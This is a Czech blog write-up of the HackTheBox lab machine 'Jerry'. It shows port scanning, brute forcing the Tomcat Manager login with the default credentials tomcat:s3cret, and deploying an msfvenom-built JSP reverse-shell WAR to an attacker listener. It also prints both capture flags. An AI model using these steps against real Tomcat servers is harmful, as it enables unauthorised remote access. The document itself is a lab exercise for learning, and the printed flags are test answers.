tom@home.htb:~$

Blog o HTB

8 December 2020

Jerry

Úvod a kontext

Jerry je na poměry HTB velmi přímočarý stroj, ale právě proto se hodí jako ukázka toho, jak nebezpečné je nechat veřejně dostupný Tomcat Manager se slabými přihlašovacími údaji. Na celém hostu běží jen Tomcat na 8080/tcp a to zároveň stačí na foothold i finální převzetí.

Důležité je nepřehlédnout, že tady prakticky neexistuje samostatná privilege escalation fáze. Jakmile se podaří přihlásit do Tomcat Manageru a nasadit WAR s reverzním shellem, proces už běží s tak vysokými právy, že textový soubor 2 for the price of 1.txt vydá najednou user.txt i root.txt.

Počáteční průzkum

Jediná služba: Apache Tomcat

nmap na Jerry je neobvykle čistý. Vidět je jen Tomcat 7 na portu 8080, takže další práce se logicky soustředí na jeho administrační rozhraní.

ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat

Analýza zjištění

Slabé přihlašovací údaje do Tomcat Manageru

U Tomcatu je nejrozumnější hned otestovat Manager aplikaci a běžné slabé kombinace. Na Jerry vyjde klasické tomcat:s3cret, což zjednoduší celý další řetězec na jediný deploy vlastní WAR.

python tomcat-brute.py
=> Found valid credentials "tomcat:s3cret"

Získání přístupu

Nasazení WAR s reverzním shellem

Jakmile funguje Tomcat Manager, je cesta přímá. msfvenom vytvoří WAR s JSP reverse shellem, ten se přes Manager nasadí a po otevření aplikace vznikne shell na útočníkův listener.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.4 LPORT=4000 -f war > shell.war
netcat -lvp 4000

Eskalace oprávnění

2 for the price of 1

Na Jerry je tohle formálně sekce o eskalaci, ale prakticky už není co eskalovat. Nasazený WAR běží s dostatečně vysokými právy, takže hned po shellu stačí přečíst textový soubor 2 for the price of 1.txt, který obsahuje obě flagy.

more "2 for the price of 1.txt"
more 2*
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: tomcat - java - exploit - enumeration - privesc - hackthebox